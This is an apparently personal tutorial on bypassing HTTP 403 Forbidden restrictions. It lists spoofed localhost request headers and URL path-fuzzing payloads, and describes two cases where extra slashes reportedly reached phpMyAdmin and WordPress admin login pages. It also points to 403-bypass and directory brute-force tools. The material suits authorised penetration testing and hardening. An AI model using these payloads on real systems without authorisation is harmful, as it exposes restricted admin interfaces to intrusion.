Bypass 403 - Forbidden ⛔

• Introduction

Depending on the configuration made by the infrastructure analyst, there are some ways to get past the 403-forbidden error generally by configuring when you should not be allowed to access certain resources of that directory or file.

I created this quick document to demonstrate some techniques for this, including, I already used it and managed to pass the 403 error and access database administrative login pages.

Some techniques 📄

Attention ‼️

Before using the techniques below, it is worth changing the HTTP methods for each attempt, such as GET, POST, PATCH, OPTIONS, TRACE...

1. Method HTTP Headers Fuzzing

In some cases, access to pages and private files can be done by changing the Header of the request and including an internal address, here are some examples;

• X-ProxyUser-Ip: 127.0.0.1
• Client-IP: 127.0.0.1
• Host: localhost
• X-Originating-IP: 127.0.0.1
• X-Forwarded-For: 127.0.0.1
• X-Remote-IP: 127.0.0.1
• X-Remote-Addr: 127.0.0.1
• X-Real-IP: 127.0.0.1

2. Method Path Fuzzing

We can try to make some changes to the url, using special characters or including HTML encoding, exemples;

• test.com/admin/*
• test.com/*admin/
• test.com/%2fadmin/
• test.com%2fadmin%2f
• test.com/./admin/
• test.com//admin/./
• test.com///admin///
• test.com//admin//
• test.com/ADMIN/
• test.com/;/admin/
• test.com//;//admin/

Real example 1 of Bypass

The example below is a bypass used in the phpmyadmin console, configured to be accessed only with specific IP x.x.x.x the context /phpmyadmin/

I made some attempts changing the context, example;

• /phpmyadmin/*
• /./phpmyadmin/
• //phpmyadmin//
• /*/phpmyadmin/

However, without success :(

After a few attempts to pass the 403, I tried changing the context to;

• ///phpmyadmin///

In this case using 3 slashes (///), we managed to pass the 403 error and access the phpmyadmin login page. 👌

Real example 2 of Bypass

In this example, we access the wordpress login panel using, in this case, 2 slashes (//).

In this url, we couldn't use the same context with 3 slashes, however, we managed using another change in the context.

Using the context below

• //wp-admin//

Tool Tip ✅

Some developers who created some tools to facilitate the identification of possible pages that we managed to pass the 403 error. The github project below (iamj0ker) was tested and we were able to validate some prohibited entries.

github.com/iamj0ker/bypass-403

For those who use Burpsuite Professional, there is a plugin in the store to validate contexts with denied permissions, called 403 Bypasser.

403 Bypasser

To find possible directories with 403 permissions, we can perform a bruteforce of directories and files using Dirsearch.

Dirsearch